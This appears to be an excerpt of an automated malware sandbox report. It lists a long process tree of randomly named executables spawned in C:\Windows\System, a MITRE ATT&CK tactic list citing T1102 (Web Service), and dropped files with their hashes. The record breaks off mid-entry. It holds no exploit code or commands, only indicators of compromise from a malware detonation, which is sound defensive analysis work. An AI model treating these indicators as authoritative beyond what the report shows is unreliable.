- C:\Windows\System\PFNoSDm.exe
  C:\Windows\System\PFNoSDm.exe
  2⤵
  PID:14668
- C:\Windows\System\iLeXelm.exe
  C:\Windows\System\iLeXelm.exe
  2⤵
  PID:14896
- C:\Windows\System\JNbjesi.exe
  C:\Windows\System\JNbjesi.exe
  2⤵
  PID:5280
- C:\Windows\System\bZeAYJl.exe
  C:\Windows\System\bZeAYJl.exe
  2⤵
  PID:7820
- C:\Windows\System\SFafLoZ.exe
  C:\Windows\System\SFafLoZ.exe
  2⤵
  PID:14636
- C:\Windows\System\trPRmKI.exe
  C:\Windows\System\trPRmKI.exe
  2⤵
  PID:14800
- C:\Windows\System\CwpavYW.exe
  C:\Windows\System\CwpavYW.exe
  2⤵
  PID:6348
- C:\Windows\System\tbiZLfa.exe
  C:\Windows\System\tbiZLfa.exe
  2⤵
  PID:6336
- C:\Windows\System\nNrmHWr.exe
  C:\Windows\System\nNrmHWr.exe
  2⤵
  PID:7928
- C:\Windows\System\XnyoqPi.exe
  C:\Windows\System\XnyoqPi.exe
  2⤵
  PID:9940
- C:\Windows\System\TXctMCW.exe
  C:\Windows\System\TXctMCW.exe
  2⤵
  PID:9512
- C:\Windows\System\QVyXtmy.exe
  C:\Windows\System\QVyXtmy.exe
  2⤵
  PID:9732
- C:\Windows\System\ToBojUL.exe
  C:\Windows\System\ToBojUL.exe
  2⤵
  PID:9744
- C:\Windows\System\dkDoeAv.exe
  C:\Windows\System\dkDoeAv.exe
  2⤵
  PID:14840
- C:\Windows\System\uMJNmMW.exe
  C:\Windows\System\uMJNmMW.exe
  2⤵
  PID:14632
- C:\Windows\System\bqjCkhD.exe
  C:\Windows\System\bqjCkhD.exe
  2⤵
  PID:14836
- C:\Windows\System\FDRbnbK.exe
  C:\Windows\System\FDRbnbK.exe
  2⤵
  PID:7940
- C:\Windows\System\hgIKNQc.exe
  C:\Windows\System\hgIKNQc.exe
  2⤵
  PID:9764
- C:\Windows\System\wEwCGHi.exe
  C:\Windows\System\wEwCGHi.exe
  2⤵
  PID:9916
- C:\Windows\System\TGjMXzX.exe
  C:\Windows\System\TGjMXzX.exe
  2⤵
  PID:9912
- C:\Windows\System\iTvQFsI.exe
  C:\Windows\System\iTvQFsI.exe
  2⤵
  PID:15328
- C:\Windows\System\vRXOKvn.exe
  C:\Windows\System\vRXOKvn.exe
  2⤵
  PID:7840
- C:\Windows\System\FdwmxlO.exe
  C:\Windows\System\FdwmxlO.exe
  2⤵
  PID:15120
- C:\Windows\System\PhKemgU.exe
  C:\Windows\System\PhKemgU.exe
  2⤵
  PID:10936
- C:\Windows\System\PlUBfaq.exe
  C:\Windows\System\PlUBfaq.exe
  2⤵
  PID:8876
- C:\Windows\System\iwlnFlZ.exe
  C:\Windows\System\iwlnFlZ.exe
  2⤵
  PID:15224
- C:\Windows\System\fONNTGT.exe
  C:\Windows\System\fONNTGT.exe
  2⤵
  PID:9032
- C:\Windows\System\SoIKdvD.exe
  C:\Windows\System\SoIKdvD.exe
  2⤵
  PID:14484
- C:\Windows\System\EaYabGl.exe
  C:\Windows\System\EaYabGl.exe
  2⤵
  PID:10148
- C:\Windows\System\ZOJmBdK.exe
  C:\Windows\System\ZOJmBdK.exe
  2⤵
  PID:9204
- C:\Windows\System\HfvaCTN.exe
  C:\Windows\System\HfvaCTN.exe
  2⤵
  PID:9432
- C:\Windows\System\MBRFRtg.exe
  C:\Windows\System\MBRFRtg.exe
  2⤵
  PID:14400
- C:\Windows\System\apYNlVP.exe
  C:\Windows\System\apYNlVP.exe
  2⤵
  PID:1600
- C:\Windows\System\EbvBGXC.exe
  C:\Windows\System\EbvBGXC.exe
  2⤵
  PID:13380
- C:\Windows\System\jCjHGVr.exe
  C:\Windows\System\jCjHGVr.exe
  2⤵
  PID:8664
- C:\Windows\System\fUFpGxZ.exe
  C:\Windows\System\fUFpGxZ.exe
  2⤵
  PID:9188
- C:\Windows\System\EFdBudR.exe
  C:\Windows\System\EFdBudR.exe
  2⤵
  PID:7056
- C:\Windows\System\yPPkinI.exe
  C:\Windows\System\yPPkinI.exe
  2⤵
  PID:8516
- C:\Windows\System\VHgDSBj.exe
  C:\Windows\System\VHgDSBj.exe
  2⤵
  PID:14500
- C:\Windows\System\UZyrNpF.exe
  C:\Windows\System\UZyrNpF.exe
  2⤵
  PID:10852
- C:\Windows\System\mRvEdce.exe
  C:\Windows\System\mRvEdce.exe
  2⤵
  PID:10856
- C:\Windows\System\DGfVQfb.exe
  C:\Windows\System\DGfVQfb.exe
  2⤵
  PID:8448
- C:\Windows\System\SQdgJmb.exe
  C:\Windows\System\SQdgJmb.exe
  2⤵
  PID:7344
- C:\Windows\System\FagzPIX.exe
  C:\Windows\System\FagzPIX.exe
  2⤵
  PID:9832
- C:\Windows\System\IKLocYp.exe
  C:\Windows\System\IKLocYp.exe
  2⤵
  PID:10976
- C:\Windows\System\hWFiHoI.exe
  C:\Windows\System\hWFiHoI.exe
  2⤵
  PID:2716
- C:\Windows\System\wfGJIxV.exe
  C:\Windows\System\wfGJIxV.exe
  2⤵
  PID:9280
- C:\Windows\System\eHIJfHO.exe
  C:\Windows\System\eHIJfHO.exe
  2⤵
  PID:8296
- C:\Windows\System\FaQFLfa.exe
  C:\Windows\System\FaQFLfa.exe
  2⤵
  PID:7996
- C:\Windows\System\OZfKzys.exe
  C:\Windows\System\OZfKzys.exe
  2⤵
  PID:9548
- C:\Windows\System\ZiHmEBh.exe
  C:\Windows\System\ZiHmEBh.exe
  2⤵
  PID:8220
- C:\Windows\System\TjtxTtY.exe
  C:\Windows\System\TjtxTtY.exe
  2⤵
  PID:6168
- C:\Windows\System\pfxtilh.exe
  C:\Windows\System\pfxtilh.exe
  2⤵
  PID:8184
- C:\Windows\System\duYyuTb.exe
  C:\Windows\System\duYyuTb.exe
  2⤵
  PID:11064
- C:\Windows\System\ZsgkSJa.exe
  C:\Windows\System\ZsgkSJa.exe
  2⤵
  PID:10632
- C:\Windows\System\UHxXOMR.exe
  C:\Windows\System\UHxXOMR.exe
  2⤵
  PID:14760
- C:\Windows\System\MDhGwwJ.exe
  C:\Windows\System\MDhGwwJ.exe
  2⤵
  PID:6376
- C:\Windows\System\YYMCtrC.exe
  C:\Windows\System\YYMCtrC.exe
  2⤵
  PID:9356
- C:\Windows\System\znqGzki.exe
  C:\Windows\System\znqGzki.exe
  2⤵
  PID:14656
- C:\Windows\System\AOkKdoX.exe
  C:\Windows\System\AOkKdoX.exe
  2⤵
  PID:9628
- C:\Windows\System\ttAycqz.exe
  C:\Windows\System\ttAycqz.exe
  2⤵
  PID:8764
- C:\Windows\System\TImQPJM.exe
  C:\Windows\System\TImQPJM.exe
  2⤵
  PID:11044
- C:\Windows\System\otGiQSh.exe
  C:\Windows\System\otGiQSh.exe
  2⤵
  PID:14528
- C:\Windows\System\VfepWgt.exe
  C:\Windows\System\VfepWgt.exe
  2⤵
  PID:9312
- C:\Windows\System\JqFQkCI.exe
  C:\Windows\System\JqFQkCI.exe
  2⤵
  PID:7812
- C:\Windows\System\KsKeeQt.exe
  C:\Windows\System\KsKeeQt.exe
  2⤵
  PID:11028
- C:\Windows\System\xMdPRLD.exe
  C:\Windows\System\xMdPRLD.exe
  2⤵
  PID:10588
- C:\Windows\System\bOasXWo.exe
  C:\Windows\System\bOasXWo.exe
  2⤵
  PID:5452
- C:\Windows\System\dDjjpKQ.exe
  C:\Windows\System\dDjjpKQ.exe
  2⤵
  PID:9588
- C:\Windows\System\TAFXGma.exe
  C:\Windows\System\TAFXGma.exe
  2⤵
  PID:15312
- C:\Windows\System\htYFcvF.exe
  C:\Windows\System\htYFcvF.exe
  2⤵
  PID:2204
- C:\Windows\System\wyOqwRg.exe
  C:\Windows\System\wyOqwRg.exe
  2⤵
  PID:14816
- C:\Windows\System\vimBiNF.exe
  C:\Windows\System\vimBiNF.exe
  2⤵
  PID:9932
- C:\Windows\System\akXLeto.exe
  C:\Windows\System\akXLeto.exe
  2⤵
  PID:10140
- C:\Windows\System\qWIiVBb.exe
  C:\Windows\System\qWIiVBb.exe
  2⤵
  PID:9184
- C:\Windows\System\pgtRmlv.exe
  C:\Windows\System\pgtRmlv.exe
  2⤵
  PID:15072
- C:\Windows\System\mmZxhOX.exe
  C:\Windows\System\mmZxhOX.exe
  2⤵
  PID:8492
- C:\Windows\System\ahUfBzy.exe
  C:\Windows\System\ahUfBzy.exe
  2⤵
  PID:8096
- C:\Windows\System\PHvVUxR.exe
  C:\Windows\System\PHvVUxR.exe
  2⤵
  PID:8616
- C:\Windows\System\yPunMIj.exe
  C:\Windows\System\yPunMIj.exe
  2⤵
  PID:10912
- C:\Windows\System\UchzWNc.exe
  C:\Windows\System\UchzWNc.exe
  2⤵
  PID:9396
- C:\Windows\System\UATXtly.exe
  C:\Windows\System\UATXtly.exe
  2⤵
  PID:7712
- C:\Windows\System\HATYbhV.exe
  C:\Windows\System\HATYbhV.exe
  2⤵
  PID:9908
- C:\Windows\System\TjWapTO.exe
  C:\Windows\System\TjWapTO.exe
  2⤵
  PID:1008
- C:\Windows\System\RDoFYYL.exe
  C:\Windows\System\RDoFYYL.exe
  2⤵
  PID:7216
- C:\Windows\System\PWCKYJn.exe
  C:\Windows\System\PWCKYJn.exe
  2⤵
  PID:7348
- C:\Windows\System\ZLrUksx.exe
  C:\Windows\System\ZLrUksx.exe
  2⤵
  PID:9416
- C:\Windows\System\PdGGhZI.exe
  C:\Windows\System\PdGGhZI.exe
  2⤵
  PID:8100
- C:\Windows\System\QwQJUhq.exe
  C:\Windows\System\QwQJUhq.exe
  2⤵
  PID:11416
- C:\Windows\System\iSXtXos.exe
  C:\Windows\System\iSXtXos.exe
  2⤵
  PID:12976
- C:\Windows\System\cutMLTl.exe
  C:\Windows\System\cutMLTl.exe
  2⤵
  PID:10272
- C:\Windows\System\AdUHPqw.exe
  C:\Windows\System\AdUHPqw.exe
  2⤵
  PID:9772
- C:\Windows\System\kMFuPWf.exe
  C:\Windows\System\kMFuPWf.exe
  2⤵
  PID:9088
- C:\Windows\System\rhKVdoi.exe
  C:\Windows\System\rhKVdoi.exe
  2⤵
  PID:15316
- C:\Windows\System\vWLwhDQ.exe
  C:\Windows\System\vWLwhDQ.exe
  2⤵
  PID:10444
- C:\Windows\System\lnNAwIm.exe
  C:\Windows\System\lnNAwIm.exe
  2⤵
  PID:5576
- C:\Windows\System\sXCCjKE.exe
  C:\Windows\System\sXCCjKE.exe
  2⤵
  PID:9228
- C:\Windows\System\IphNjzc.exe
  C:\Windows\System\IphNjzc.exe
  2⤵
  PID:10304
- C:\Windows\System\WchasFS.exe
  C:\Windows\System\WchasFS.exe
  2⤵
  PID:11388
- C:\Windows\System\pTpQThi.exe
  C:\Windows\System\pTpQThi.exe
  2⤵
  PID:14712
- C:\Windows\System\uysVsgi.exe
  C:\Windows\System\uysVsgi.exe
  2⤵
  PID:11920
- C:\Windows\System\WOtRENX.exe
  C:\Windows\System\WOtRENX.exe
  2⤵
  PID:9904
- C:\Windows\System\oItvZOc.exe
  C:\Windows\System\oItvZOc.exe
  2⤵
  PID:11080
- C:\Windows\System\oSlLobg.exe
  C:\Windows\System\oSlLobg.exe
  2⤵
  PID:10276
- C:\Windows\System\YdOODJa.exe
  C:\Windows\System\YdOODJa.exe
  2⤵
  PID:9664
- C:\Windows\System\XRseLoi.exe
  C:\Windows\System\XRseLoi.exe
  2⤵
  PID:8828
- C:\Windows\System\ttUbhEZ.exe
  C:\Windows\System\ttUbhEZ.exe
  2⤵
  PID:11292
- C:\Windows\System\mXuSQlT.exe
  C:\Windows\System\mXuSQlT.exe
  2⤵
  PID:13684
- C:\Windows\System\ktvHbxS.exe
  C:\Windows\System\ktvHbxS.exe
  2⤵
  PID:13696
- C:\Windows\System\Bnnpuza.exe
  C:\Windows\System\Bnnpuza.exe
  2⤵
  PID:13784
- C:\Windows\System\acsAtZm.exe
  C:\Windows\System\acsAtZm.exe
  2⤵
  PID:13628
- C:\Windows\System\nYkmDXl.exe
  C:\Windows\System\nYkmDXl.exe
  2⤵
  PID:13648
- C:\Windows\System\kVfSrMz.exe
  C:\Windows\System\kVfSrMz.exe
  2⤵
  PID:13668
- C:\Windows\System\MNcAcAB.exe
  C:\Windows\System\MNcAcAB.exe
  2⤵
  PID:13788
- C:\Windows\System\eRvpRgm.exe
  C:\Windows\System\eRvpRgm.exe
  2⤵
  PID:13840
- C:\Windows\System\hHArNcs.exe
  C:\Windows\System\hHArNcs.exe
  2⤵
  PID:9080
- C:\Windows\System\jPbmwFu.exe
  C:\Windows\System\jPbmwFu.exe
  2⤵
  PID:15172
- C:\Windows\System\ehPYWMj.exe
  C:\Windows\System\ehPYWMj.exe
  2⤵
  PID:13752
- C:\Windows\System\lWxbmuw.exe
  C:\Windows\System\lWxbmuw.exe
  2⤵
  PID:9164
- C:\Windows\System\FUtBLIV.exe
  C:\Windows\System\FUtBLIV.exe
  2⤵
  PID:7180
- C:\Windows\System\nJJlAHC.exe
  C:\Windows\System\nJJlAHC.exe
  2⤵
  PID:9568
- C:\Windows\System\meOwShD.exe
  C:\Windows\System\meOwShD.exe
  2⤵
  PID:12964
- C:\Windows\System\MLpTQLI.exe
  C:\Windows\System\MLpTQLI.exe
  2⤵
  PID:13820
- C:\Windows\System\DLmJHEf.exe
  C:\Windows\System\DLmJHEf.exe
  2⤵
  PID:10348
- C:\Windows\System\KQMgyhV.exe
  C:\Windows\System\KQMgyhV.exe
  2⤵
  PID:9728
- C:\Windows\System\HPkzbJq.exe
  C:\Windows\System\HPkzbJq.exe
  2⤵
  PID:12948
- C:\Windows\System\CLLjRhN.exe
  C:\Windows\System\CLLjRhN.exe
  2⤵
  PID:12032
- C:\Windows\System\kpbsZwu.exe
  C:\Windows\System\kpbsZwu.exe
  2⤵
  PID:11940
- C:\Windows\System\nvaSHwA.exe
  C:\Windows\System\nvaSHwA.exe
  2⤵
  PID:15056
- C:\Windows\System\uaLbZyP.exe
  C:\Windows\System\uaLbZyP.exe
  2⤵
  PID:8376
- C:\Windows\System\DGBmvfg.exe
  C:\Windows\System\DGBmvfg.exe
  2⤵
  PID:11344
- C:\Windows\System\KEHGXKW.exe
  C:\Windows\System\KEHGXKW.exe
  2⤵
  PID:7800
- C:\Windows\System\WXvDChQ.exe
  C:\Windows\System\WXvDChQ.exe
  2⤵
  PID:8476
- C:\Windows\System\PJmZWfS.exe
  C:\Windows\System\PJmZWfS.exe
  2⤵
  PID:11336
- C:\Windows\System\pPTqLKp.exe
  C:\Windows\System\pPTqLKp.exe
  2⤵
  PID:10596
- C:\Windows\System\otUpkJb.exe
  C:\Windows\System\otUpkJb.exe
  2⤵
  PID:11764
- C:\Windows\System\uQFDiWO.exe
  C:\Windows\System\uQFDiWO.exe
  2⤵
  PID:13640
- C:\Windows\System\QVMXnRo.exe
  C:\Windows\System\QVMXnRo.exe
  2⤵
  PID:11060
- C:\Windows\System\iJajXNJ.exe
  C:\Windows\System\iJajXNJ.exe
  2⤵
  PID:13708
- C:\Windows\System\bVlukrS.exe
  C:\Windows\System\bVlukrS.exe
  2⤵
  PID:12296
- C:\Windows\System\PHxSbpR.exe
  C:\Windows\System\PHxSbpR.exe
  2⤵
  PID:12388
- C:\Windows\System\xMbRwqa.exe
  C:\Windows\System\xMbRwqa.exe
  2⤵
  PID:12416
- C:\Windows\System\aTtHEBH.exe
  C:\Windows\System\aTtHEBH.exe
  2⤵
  PID:13056
- C:\Windows\System\KMzcQRv.exe
  C:\Windows\System\KMzcQRv.exe
  2⤵
  PID:13872
- C:\Windows\System\XntNazI.exe
  C:\Windows\System\XntNazI.exe
  2⤵
  PID:14344
- C:\Windows\System\zhmqeIq.exe
  C:\Windows\System\zhmqeIq.exe
  2⤵
  PID:12092
- C:\Windows\System\vOIHpxp.exe
  C:\Windows\System\vOIHpxp.exe
  2⤵
  PID:13568
- C:\Windows\System\jxmvqeP.exe
  C:\Windows\System\jxmvqeP.exe
  2⤵
  PID:13700
- C:\Windows\System\XefOigb.exe
  C:\Windows\System\XefOigb.exe
  2⤵
  PID:8056
- C:\Windows\System\trjKOIH.exe
  C:\Windows\System\trjKOIH.exe
  2⤵
  PID:9084
- C:\Windows\System\VqKZYHf.exe
  C:\Windows\System\VqKZYHf.exe
  2⤵
  PID:8080
- C:\Windows\System\BDFSjjw.exe
  C:\Windows\System\BDFSjjw.exe
  2⤵
  PID:9376
- C:\Windows\System\hkFDEjZ.exe
  C:\Windows\System\hkFDEjZ.exe
  2⤵
  PID:7564
- C:\Windows\System\jGxCvlO.exe
  C:\Windows\System\jGxCvlO.exe
  2⤵
  PID:12880
- C:\Windows\System\tkgLqpg.exe
  C:\Windows\System\tkgLqpg.exe
  2⤵
  PID:12692
- C:\Windows\System\zXIvigM.exe
  C:\Windows\System\zXIvigM.exe
  2⤵
  PID:3132
- C:\Windows\System\DkdBDLN.exe
  C:\Windows\System\DkdBDLN.exe
  2⤵
  PID:12704
- C:\Windows\System\iHFddpe.exe
  C:\Windows\System\iHFddpe.exe
  2⤵
  PID:636
- C:\Windows\System\HSQIJxh.exe
  C:\Windows\System\HSQIJxh.exe
  2⤵
  PID:12724
- C:\Windows\System\HRMMnUU.exe
  C:\Windows\System\HRMMnUU.exe
  2⤵
  PID:11272
- C:\Windows\System\StZJHNf.exe
  C:\Windows\System\StZJHNf.exe
  2⤵
  PID:10088
- C:\Windows\System\kHtgXHV.exe
  C:\Windows\System\kHtgXHV.exe
  2⤵
  PID:5352
- C:\Windows\System\TlHWnVB.exe
  C:\Windows\System\TlHWnVB.exe
  2⤵
  PID:10340
- C:\Windows\System\SAftuVN.exe
  C:\Windows\System\SAftuVN.exe
  2⤵
  PID:11368
- C:\Windows\System\aaNpZoQ.exe
  C:\Windows\System\aaNpZoQ.exe
  2⤵
  PID:12844
- C:\Windows\System\qstBudv.exe
  C:\Windows\System\qstBudv.exe
  2⤵
  PID:4040
- C:\Windows\System\zPHlYfk.exe
  C:\Windows\System\zPHlYfk.exe
  2⤵
  PID:13220
- C:\Windows\System\pHjTyJb.exe
  C:\Windows\System\pHjTyJb.exe
  2⤵
  PID:9244
- C:\Windows\System\pVhHzPY.exe
  C:\Windows\System\pVhHzPY.exe
  2⤵
  PID:11620
- C:\Windows\System\fVumnEo.exe
  C:\Windows\System\fVumnEo.exe
  2⤵
  PID:15332
- C:\Windows\System\SJBzoqH.exe
  C:\Windows\System\SJBzoqH.exe
  2⤵
  PID:9564
- C:\Windows\System\LcgzrhZ.exe
  C:\Windows\System\LcgzrhZ.exe
  2⤵
  PID:10740
- C:\Windows\System\SbWmzSs.exe
  C:\Windows\System\SbWmzSs.exe
  2⤵
  PID:9160
- C:\Windows\System\rKwTFPY.exe
  C:\Windows\System\rKwTFPY.exe
  2⤵
  PID:12568
- C:\Windows\System\ILelgwk.exe
  C:\Windows\System\ILelgwk.exe
  2⤵
  PID:13068
- C:\Windows\System\mgijLBj.exe
  C:\Windows\System\mgijLBj.exe
  2⤵
  PID:12612
- C:\Windows\System\nUegELH.exe
  C:\Windows\System\nUegELH.exe
  2⤵
  PID:10972
- C:\Windows\System\THREXNV.exe
  C:\Windows\System\THREXNV.exe
  2⤵
  PID:5888
- C:\Windows\System\Znmvisw.exe
  C:\Windows\System\Znmvisw.exe
  2⤵
  PID:13540
- C:\Windows\System\KMAjsbT.exe
  C:\Windows\System\KMAjsbT.exe
  2⤵
  PID:12728
- C:\Windows\System\cmkcKSU.exe
  C:\Windows\System\cmkcKSU.exe
  2⤵
  PID:13156
- C:\Windows\System\ILnWyWM.exe
  C:\Windows\System\ILnWyWM.exe
  2⤵
  PID:8620
- C:\Windows\System\xqfRzzt.exe
  C:\Windows\System\xqfRzzt.exe
  2⤵
  PID:11168
- C:\Windows\System\UMXriFW.exe
  C:\Windows\System\UMXriFW.exe
  2⤵
  PID:13040
- C:\Windows\System\uAWeCFi.exe
  C:\Windows\System\uAWeCFi.exe
  2⤵
  PID:652
- C:\Windows\System\kAJQhie.exe
  C:\Windows\System\kAJQhie.exe
  2⤵
  PID:12740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0k2tax5u.veq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\DaLrVCQ.exe

Filesize
1.9MB

MD5
da8bd68e4f57b10c9d123d4d9e0e6b8e

SHA1
a3704d8c1f8dfc96438b38878e2c392553e8356c

SHA256
dd9cbebc044c9f51c0d2384203dd908e1a950ecbac57ddc5e98d52f563a9a38a

SHA512
a7696d10ee88ce9b0df5103a057b732b335a16192eab625c4ad080e8bae981deedef71d7c367e52df217e3b6a6a062e933a8980675f414150c1fed49ee85c817

Download Submit
C:\Windows\System\DpUjMbf.exe

Filesize
1.9MB

MD5
4285092b5466d764840463eeffe9a747

SHA1
413dc5c45b43b80f19d03fc970562fe4396eb551

SHA256
e946f6c09623d948518c3394354bcf0422e3b6eb5b70fd87ca23860eed3be2d6

SHA512
996f3b7060427c5cf81112a25bfe2e128e329e88c01b5304e65b3978c0901dbcc71da95fd42786fceeae75a8a80164675e991b048bf23fa09da6f6b151a068e5

Download Submit
C:\Windows\System\EAjtkms.exe

Filesize
1.9MB

MD5
5fe59f8996d68c310b64f6f03a423095

SHA1
ae050651b10bc7de821c861a071265b89fc39d44

SHA256
83ff300519d0c48d8ec101c1af42a8744f63ef4a0b6363323a4864f2db4cef67

SHA512
c65aa07b79917ccf188fadc6615b7213d5fc056a16f4a18b41318b4131bdc0ff7a55ae46aa3fdb8205e43e7b0f88ccd87e8e545c44ea639b8a542f761e6a8d0f

Download Submit
C:\Windows\System\EsWxbLa.exe

Filesize
1.8MB

MD5
d3c2f40a39fc65d541edecbefa20a9e6

SHA1
00a8204f9a2cdcfdd02a7b3e5ea87bb379054884

SHA256
700ddc0e758e41aa1b287f230e449add38f8d08ac2b366951ebb221267646549

SHA512
0a783cb5201468fd3f9610de82a8ce2d814ed43eafdb866dbb6a153a46cb07e25d5a3b4dd4ab8d85bf3f054faeaee24c99665b20503ec8146ab99d56b8b6a115

Download Submit
C:\Windows\System\FjxVBjy.exe

Filesize
1.8MB

MD5
63b927544b55224edaba6d4c566b5829

SHA1
d9638b0670e42d41c55d9fb5a0591727a947dc25

SHA256
69a845f866e65277a3ca0b81309c08f14b8fceb8a52e48ca1ea1863f5f36b5e8

SHA512
239bac993a2ad3a1cb813d2c043b719d406243d5a0096dac9347f039c37ea0147a26ca66ab5fe223a3651f9bd566a57a8e66b3628ece08984250e13fda442ba0

Download Submit
C:\Windows\System\FtiHdGS.exe

Filesize
1.8MB

MD5
29c8f3bc236b62564a3a1653b16563fb

SHA1
e24c3e391d8e0e3577930a7ccb815910f5ace83d

SHA256
fabc534797b3e207d5c77dce3f2a7326a3120b82b133292016151a58cbcf7b81

SHA512
c0032522c7cd3671d697c332d9cde0ab3b4d15bc5a0b71d5a318c6d3f82ddc7b6a2ce15660c8e6eb1d804d1717671e7961d40258df3d58091fc00cbb23e9d4cd

Download Submit
C:\Windows\System\IvDPemk.exe

Filesize
1.8MB

MD5
d390a694e8ce0e63a14b607ac70218a9

SHA1
1a2e73e13f087166d8c722d9f9a199ad5521bb55

SHA256
6f7c86ed3a729578006c1ef35a8b886f5d299f3c0f232b516c02929fc4cac0f0

SHA512
90ecce49a83779d53b576ef99410ae1b1b7ced5ad00d7a3d65cdb0056fd444ed7d121358776325eabf2afe974e509e7bf826a96ca259e57920a23107c2416595

Download Submit
C:\Windows\System\KlzwrwC.exe

Filesize
1.8MB

MD5
3e9fb2fa62d3f0815bb7299e93d97d65

SHA1
e47ef260952bd35a6630fad68e30824125b93f8c

SHA256
e00f772d9798d9ab224ee0ebe9c93fa6e84bdc961d9f7648d8078d057b39cb6a

SHA512
56e61a2f5bfb2c4a64042b61e9265da58060866db7ad6acf45426603ac8ca67d8e44ef21758d45e9ee3f7991cfadcb17e8b533a31c9bd1d74431c72f56a12ede

Download Submit
C:\Windows\System\NbUIEdY.exe

Filesize
1.9MB

MD5
4af22ffe30849faf22df20f981f798e3

SHA1
8fa0e6ff3334816836cfddb336886dfea897241d

SHA256
f67e382fba3f4cc8f58d387b0c80a09c1f87e3f681632e0e11cfbb8f7e287a2c

SHA512
92c55c2512ff00d42bd20fc2eda0146c2a1892cdb37eba1ecfda9fc9a979503b5f8266c724339d1b11028fea8c7565ce93faed9472b77e23f7fec8fc15a36cfd

Download Submit
C:\Windows\System\OhUHdvL.exe

Filesize
1.8MB

MD5
ce2d792cae9597d2762f4e1545f5b6e1

SHA1
acbc5a7a60ddc5132cc20bbcee6e26c67ba290e0

SHA256
c030e364f8de61ce811ad0eb4199717add4513cb358ae3921fd9bfd8bcb7677b

SHA512
4537928f69788f9e01092214199ee48616a29fcb2ecca4f11c630cc2cdce0478e1ff9df1e0958984909ae0d1b720f798e73546a21311195fbfa277f50c2b0e78

Download Submit
C:\Windows\System\PhzueXO.exe

Filesize
1.8MB

MD5
7e20cfd6cc303491e557d250611a44c3

SHA1
edab5032e8b36b752e1ae097193b50483c1794d9

SHA256
fa1421100215844be66d07bf75f9933b9fedc35595850460766141b327fee97d

SHA512
a891ce6a3d052b96e76ff1124946d523ea73e212e2c5c55095bb80689601a3fdb4de9254a43bf73e9e388f963208ee01665edce0f2a36338a5753940c68f2598

Download Submit
C:\Windows\System\QmCpLVD.exe

Filesize
1.8MB

MD5
acf27f6f86259c4ff94fd77320eca72b

SHA1
79805df3ae65051d3b7a394e9043f76b7c208eef

SHA256
04cf8918d4edbc96248f6c13c78d3af210c6a63af0b2a1d35079702463a1d70b

SHA512
9ad875e8c054018c63a55264b85b274726bc43b4f9d9b0f5502ee73288fa719412b309b6c9650cf6f3bed291ba5bab0a06173590b578fd8737c5ae8972925ac3

Download Submit
C:\Windows\System\SYqosxZ.exe

Filesize
1.9MB

MD5
0b9cfb7122dac32a26df9ea0d3dd0611

SHA1
526f09a0cc3646767d3a2ae9066705a2570daf90

SHA256
b67903722353b03ce50fe84af275b7ead68922a8e0ea873215cd15781d5b47f7

SHA512
d1f65ad2ac1ed0acc637362dfcd3f87ce7e45e0902b51e0daf831bf2b5e240bb60d228205fd0656cb3a5896e77da07f8a1a0de6a765ec0714ab94b5e190ff241

Download Submit
C:\Windows\System\VzzJrlT.exe

Filesize
1.8MB

MD5
d4e1ecdbfe88a740892a76a9ceef6b6c

SHA1
0755537ad6ada8a62bef37910bc1c86e85fb8901

SHA256
10df50c79438c94c1b1c66ae05c89e1708f87f3715abc0c0271ba2afa38eff7f

SHA512
7b23f2fdff817e0d8bd570d4a905902253d06b97437173a206930be596a0a836fc145ffb5b4afa9a5394515e2811251c0e6824e26bbea2309a3e0802fa96e52c

Download Submit
C:\Windows\System\XkVtKfq.exe

Filesize
1.9MB

MD5
038afde031891949eab86488e0d969dd

SHA1
0a3dd9ab588293dd39f93e2f2a951f6a24acfc5d

SHA256
0bad0565d6fbf2dc0dfbc45e1dd551769d17d85e9be13df8456b73ac399eac7c

SHA512
c6923e41259e8cc9d3020fd240a74b27656cf7891b204430f68ebb5127c2211c4056ad5285c5b6c713d73262e3be9665d5bc3d5d1079cbcfd62f5d6a2f42cb26

Download Submit
C:\Windows\System\bRPreww.exe

Filesize
1.9MB

MD5
3f32756b3f342d4e0925e2a5aff2816a

SHA1
9f8f9d2c066f5fc19a75fdbd609d59d6fb4afe30

SHA256
aa63c655838653a3c4cb4b7b3fb4c19b389fd2fe5fec9083d080e3c56633ab7b

SHA512
f5c623a52f6d8c835c4b5826c2ce8d199a3e50a499d057245b9f5c394fa49a48316a7fc4412d5a4306d44fca2045811ef75cdd59bc727edfeeaea51542fc237c

Download Submit
C:\Windows\System\cirhSyQ.exe

Filesize
1.9MB

MD5
ebd46b4a2c68e8fc5dd43684b374a82e

SHA1
a9cbcbd556a613ad51edbd064ffe8db49e7d4342

SHA256
0fe8315003b1b552bd6b3be671939043a1c36d8356097f9635b381aa40af1c57

SHA512
127c40821699c3ffdb20680ecdc18c4fcf48b602cd71fa9b5f9130b9970aeb9362580308218d59b176965c35d36b385cb3f97cd645f9772618ceef172bf78ce6

Download Submit
C:\Windows\System\dlKSbeR.exe

Filesize
1.8MB

MD5
0024034e0810976be5d3e7c7d21d80a1

SHA1
cf7ad46f33e2c9d8d8420d3e76a8c51d2f964918

SHA256
c0145a97125c6c96a83a2a162df670a37da0c536601c107c505cd972fce88330

SHA512
23b7af9280da41132cc072ff2fb4d504a4b70d202f9b50799f84e8a7894efd602b7b2c2cd8d90c6705dba33aa8b87b37c76c1256b7462fb085895140eaa3ec4f

Download Submit
C:\Windows\System\frIktYa.exe

Filesize
1.9MB

MD5
ef466fad776e9da59d79053424d91b7c

SHA1
3ffcf17aeaf0a0fb0f44ae7838f271a9851a9b62

SHA256
88daa9e56c48545b7cd6da52c95cbda2066594c26fc4279e6315b96d3ee6b945

SHA512
cda38a44cc1018b32926842242501c7ff04008288f076a4ad4625a3c70858145bce164291ce307621ec36c58a72d2e4c520ca8a278be6d00cdfff418e850757b

Download Submit
C:\Windows\System\hcuXhMU.exe

Filesize
1.9MB

MD5
5fdfdb0b3fe073b372ce92ec9468570a

SHA1
